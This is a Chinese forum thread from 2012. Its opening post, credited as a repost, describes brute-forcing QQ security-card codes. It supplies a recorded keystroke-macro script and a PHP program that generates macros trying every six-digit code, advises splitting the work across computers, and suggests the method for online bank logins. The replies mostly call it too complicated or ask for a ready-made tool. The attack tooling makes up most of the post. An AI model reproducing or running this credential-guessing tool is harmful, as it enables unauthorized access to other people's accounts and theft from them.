暴力破解密保卡

yangruikui · 发表于 2012-6-17 23:50:38

密保卡的设置挺复杂，采用A-J的纵坐标与 1-８的模坐标中，放着两位任意的数字。而ＱＱ登录的时候，是采用这样的三组组合。如果我们尝试由这些坐标点中的数字去发现规律，几乎是不可能的，我想这种思路也是导致许多想破解的人，立马放弃的原因。首先来手工来登录，密保卡试一下，我们可以发现，实际上我们在破解这个密码过程中，可以完全忽略那三组的坐标组合，我们可以认真看到，密保卡，真正来讲只是要求6这个数字(0-9)。这样子，那我们的暴力破解就可以换一种思路了，那就是我们尝试用6个数字的暴力去跑那些密码框就行了。而且腾讯这个密保卡，没有限制尝试登录的次数。正好可以用来跑暴力的。分析的结果，就是这个密保卡的密码，我们只要让密码在这个区间“0 – 0 - 0 – 0 – 0 - 0 ====> ９-９-９-９-９-９”进行暴力输入验证就可以了。现在已经锁定了，暴力破解的方案，那要采用什么工具呢？有想祭起delphi，搞一个窗口句柄跟踪，然后对这几个窗口进行，暴力破解的。只不过最近一直在用FreeBSD与Ｃ，对于Ｗindows平台上面的编程真的一点兴趣都没有了？想到的思路就是采用“按键精灵”软件，我们先手工录制一个“００００００”的按键脚本，然后再用其他程序，写一个0-1000000的循环，将这里面的“００００００”的值由“００００００”到“９９９９９９”区间来代替，这样子就可以利用按键精灵的这个脚本来进行暴力的破解。下面发布一个按键精灵的脚本。

下面是“００００００”的按键脚本
MoveTo 817 320
MoveTo 817 318
MoveTo 815 317
MoveTo 811 315
MoveTo 807 312
MoveTo 803 309
MoveTo 801 307
MoveTo 799 305
MoveTo 797 302
MoveTo 796 300
MoveTo 793 296
MoveTo 791 294
MoveTo 788 291
MoveTo 785 289
MoveTo 783 287
MoveTo 779 285
MoveTo 749 243
LeftClick 1
Delay 2063
KeyDown 48 1       这是第一位密码的按下
Delay 78
KeyUp 48 1　　　　　　这是第一位密码的弹起
Delay 172
KeyDown 48 1       这是第二位密码的按下
Delay 78
KeyUp 48 1          这是第二位密码的弹起
Delay 484
KeyDown 48 1       这是第三位密码的按下
Delay 63
KeyUp 48 1          这是第三位密码的弹起
Delay 156
KeyDown 48 1       这是第四位密码的按下
Delay 94
KeyUp 48 1       这是第四位密码的弹起
Delay 687
KeyDown 48 1       这是第五位密码的按下
Delay 78
KeyUp 48 1       这是第五位密码的弹起
Delay 985
KeyDown 48 1    这是第六位密码的按下
Delay 93
KeyUp 48 1       这是第六位密码的弹起
MoveTo 952 286
MoveTo 966 287
MoveTo 980 289
MoveTo 986 291
MoveTo 990 292
MoveTo 994 292
MoveTo 996 292
MoveTo 997 292
MoveTo 998 292
MoveTo 999 293
MoveTo 999 294
MoveTo 945 309
MoveTo 943 309
MoveTo 915 306
Delay 1063
LeftClick 1
Delay 2657
LeftClick 1
MoveTo 871 294
MoveTo 867 293
MoveTo 862 291
MoveTo 857 289
MoveTo 853 288
MoveTo 849 287
MoveTo 844 284
MoveTo 744 244
Delay 4641
LeftClick 1
MoveTo 612 261

CrackQQ.php这个是用来生成暴力破解脚本的php代码
<?php
set_time_limit(0);
$myfile = fopen('QQCrack.txt','w+');
for($pwd=0;$pwd<1000000;$pwd++)
{
if($pwd<=9)
{
$pwd_1 = $pwd;
$pwd_2 = 0;
$pwd_3 = 0;
$pwd_4 = 0;
$pwd_5 = 0;
$pwd_6 = 0;
}
if($pwd>9 && $pwd<=99)
{
$pwd_1 = substr($pwd,1,1);
   $pwd_2 = substr($pwd,0,1);
$pwd_3 = 0;
$pwd_4 = 0;
$pwd_5 = 0;
$pwd_6 = 0;
}
if($pwd>99 && $pwd<=999)
{
$pwd_1 = substr($pwd,2,1);
   $pwd_2 = substr($pwd,1,1);
$pwd_3 = substr($pwd,0,1);
$pwd_4 = 0;
$pwd_5 = 0;
$pwd_6 = 0;
}
if($pwd>999 && $pwd<=9999)
{
$pwd_1 = substr($pwd,3,1);
   $pwd_2 = substr($pwd,2,1);
$pwd_3 = substr($pwd,1,1);
$pwd_4 = substr($pwd,0,1);
$pwd_5 = 0;
$pwd_6 = 0;
}
if($pwd>9999 && $pwd<=99999)
{
$pwd_1 = substr($pwd,4,1);
   $pwd_2 = substr($pwd,3,1);
$pwd_3 = substr($pwd,2,1);
$pwd_4 = substr($pwd,1,1);
$pwd_5 = substr($pwd,0,1);
$pwd_6 = 0;
}
if($pwd>99999 && $pwd<=999999)
{
$pwd_1 = substr($pwd,5,1);
   $pwd_2 = substr($pwd,4,1);
$pwd_3 = substr($pwd,3,1);
$pwd_4 = substr($pwd,2,1);
$pwd_5 = substr($pwd,1,1);
$pwd_6 = substr($pwd,0,1);
}

//echo $pwd_6,"-",$pwd_5,"-",$pwd_4,"-",$pwd_3,"-",$pwd_2,"-",$pwd_1,"<br>";
//echo ord($pwd_6),"-",ord($pwd_5),"-",ord($pwd_4),"-",ord($pwd_3),"-",ord($pwd_2),"-",ord($pwd_1),"<br>";

$ord_pwd_1 = ord($pwd_1);
$ord_pwd_2 = ord($pwd_2);
$ord_pwd_3 = ord($pwd_3);
$ord_pwd_4 = ord($pwd_4);
$ord_pwd_5 = ord($pwd_5);
$ord_pwd_6 = ord($pwd_6);

fwrite($myfile,"MoveTo 817 320\n");
fwrite($myfile,"MoveTo 817 318\n");
fwrite($myfile,"MoveTo 815 317\n");
fwrite($myfile,"MoveTo 811 315\n");
fwrite($myfile,"MoveTo 807 312\n");
fwrite($myfile,"MoveTo 803 309\n");
fwrite($myfile,"MoveTo 801 307\n");
fwrite($myfile,"MoveTo 799 305\n");
fwrite($myfile,"MoveTo 797 302\n");
fwrite($myfile,"MoveTo 796 300\n");
fwrite($myfile,"MoveTo 793 296\n");
fwrite($myfile,"MoveTo 791 294\n");
fwrite($myfile,"MoveTo 788 291\n");
fwrite($myfile,"MoveTo 785 289\n");
fwrite($myfile,"MoveTo 783 287\n");
fwrite($myfile,"MoveTo 779 285\n");
fwrite($myfile,"MoveTo 749 243\n");
fwrite($myfile,"LeftClick 1\n");
fwrite($myfile,"Delay 2063\n");
  fwrite($myfile,"KeyDown $ord_pwd_6 1\n"); //第一位密码按下
fwrite($myfile,"Delay 78\n");
fwrite($myfile,"KeyUp $ord_pwd_6 1\n");    //第一位密码弹起
fwrite($myfile,"Delay 172\n");
fwrite($myfile,"KeyDown $ord_pwd_5 1\n"); //第二位密码按下
fwrite($myfile,"Delay 78\n");
  fwrite($myfile,"KeyUp $ord_pwd_5 1\n");    //第二位密码弹起
fwrite($myfile,"Delay 484\n");
  fwrite($myfile,"KeyDown $ord_pwd_4 1\n"); //第三位密码按下
fwrite($myfile,"Delay 63\n");
  fwrite($myfile,"KeyUp $ord_pwd_4 1\n");    //第三位密码弹起
fwrite($myfile,"Delay 156\n");
  fwrite($myfile,"KeyDown $ord_pwd_3 1\n"); //第四位密码按下
fwrite($myfile,"Delay 94\n");
  fwrite($myfile,"KeyUp $ord_pwd_3 1\n");    //第四位密码弹起
fwrite($myfile,"Delay 687\n");
  fwrite($myfile,"KeyDown $ord_pwd_2 1\n");  //第五位密码按下
fwrite($myfile,"Delay 78\n");
  fwrite($myfile,"KeyUp $ord_pwd_2 1\n");    //第五位密码弹起
fwrite($myfile,"Delay 985\n");
fwrite($myfile,"KeyDown $ord_pwd_1 1\n"); //第六位密码按下
fwrite($myfile,"Delay 93\n");
fwrite($myfile,"KeyUp $ord_pwd_1 1\n");    //第六位密码弹起
fwrite($myfile,"MoveTo 952 286\n");
fwrite($myfile,"MoveTo 966 287\n");
fwrite($myfile,"MoveTo 980 289\n");
fwrite($myfile,"MoveTo 986 291\n");
fwrite($myfile,"MoveTo 990 292\n");
fwrite($myfile,"MoveTo 994 292\n");
fwrite($myfile,"MoveTo 996 292\n");
fwrite($myfile,"MoveTo 997 292\n");
fwrite($myfile,"MoveTo 998 292\n");
fwrite($myfile,"MoveTo 999 293\n");
fwrite($myfile,"MoveTo 999 294\n");
fwrite($myfile,"MoveTo 945 309\n");
fwrite($myfile,"MoveTo 943 309\n");
fwrite($myfile,"MoveTo 915 306\n");
fwrite($myfile,"Delay 1063\n");
fwrite($myfile,"LeftClick 1\n");
fwrite($myfile,"Delay 2657\n");
fwrite($myfile,"LeftClick 1\n");
fwrite($myfile,"MoveTo 871 294\n");
fwrite($myfile,"MoveTo 867 293\n");
fwrite($myfile,"MoveTo 862 291\n");
fwrite($myfile,"MoveTo 857 289\n");
fwrite($myfile,"MoveTo 853 288\n");
fwrite($myfile,"MoveTo 849 287\n");
fwrite($myfile,"MoveTo 844 284\n");
fwrite($myfile,"MoveTo 744 244\n");
fwrite($myfile,"Delay 4641\n");
fwrite($myfile,"LeftClick 1\n");
fwrite($myfile,"MoveTo 612 261\n");
}
fclose($myfile);
?>
注意，这个脚本生成暴力破解脚本QQCrack.txt达到900M左右了，这样子我们只要将这个脚本拷贝到按键精灵的目录下就可以了调用。现在唯一担心的就是按键精灵，是否直接这么多行的脚本了。

4. 严重的情况发生了,生成的这个暴力脚本太大了,连EditPlus打开都出错了,看来按键精灵也必须会出错的。甚至用Word打开，也只能支持32M大小的文件。看来不能一下子生成的暴力破解文件。那只能限制数据的范围来生成不同段的暴力文件了。就是可以将CrackQQ.php文件中的“for($pwd=0;$pwd<1000000;$pwd++)”这个代码的范围，修改成
“for($pwd=0;$pwd<10000;$pwd++)”这样子的一个个段，分段生成不同的暴力文件，然后再将这些分段的暴力的文件，拷贝到不同的计算机上面，进行分段的暴力输入与暴力破解的。
在这个生成暴力破解的文件过程中，建议采用FireFox浏览器来读取php代码，本人是将这个php脚本拷贝到FreeBSD下面，然后打开FireFox浏览器来读取php的。

5. 生成10000次的暴力破解的文件,竟然需要9M的大小。如果这样子大小，按最早生成的900Ｍ，就需要将暴力破解的文件，分成100批进行暴力文件生成与分批运算破解的。虽然这个过程麻烦，不过总算是完全实现了暴力破解的全过程。

当然采用这种方法,实际上也可以用来对某些在线银行的密码登录暴力破解提供参考思路的.

PS:本文为转载自智导网络作者：林峰

本人未曾测试过该脚本是否有效，但是这种方法可以为各位提供密保卡的破解思路！

shi201288 · 发表于 2012-6-17 23:58:17

软件就好了，这样不会玩

銨靜 · 发表于 2012-6-17 23:58:19

这个确实有点暴力。。而且密保卡现在用的人很少吧

侢見 · 发表于 2012-6-18 00:28:29

把需要的软件打包上传下呗~

这个看起来麻烦...

猪头文 · 发表于 2012-6-18 00:43:59

太牛了！！！！！

泛滥成灾 · 发表于 2012-6-18 01:12:38

额没学过编程没看懂还是请高手看看吧不过貌似可以重复调用函数来输入吧不用排列这么多命令吧应该能精简点
我自己的看法新手别喷哈

dg85556020 · 发表于 2012-6-18 02:49:32

厉害的哥们

yyy3 · 发表于 2012-6-18 07:01:59

这么复杂的啊！

yaoqin · 发表于 2012-6-18 07:51:12

算了，我就不添乱啦，这么麻烦

一号风采 · 发表于 2012-6-18 08:11:52

太麻烦了，我放弃~~~

____强。 · 发表于 2012-6-18 09:13:46

嗯，我完全没有能力去看，编程我不懂

白纸一张 · 发表于 2012-6-18 10:52:44

一见密保卡,我主果断放弃....

Zpeach · 发表于 2012-6-18 11:21:49

直接上软件吧！表示伸手党伤不起

阿康 · 发表于 2012-6-18 14:29:07

这个有点复杂,像我这种小白玩不了.

feitian1387 · 发表于 2012-6-18 14:39:57

貌似很难的样子啊

账号		自动登录	找回密码
密码			注册[Register]

[分享] 暴力破解密保卡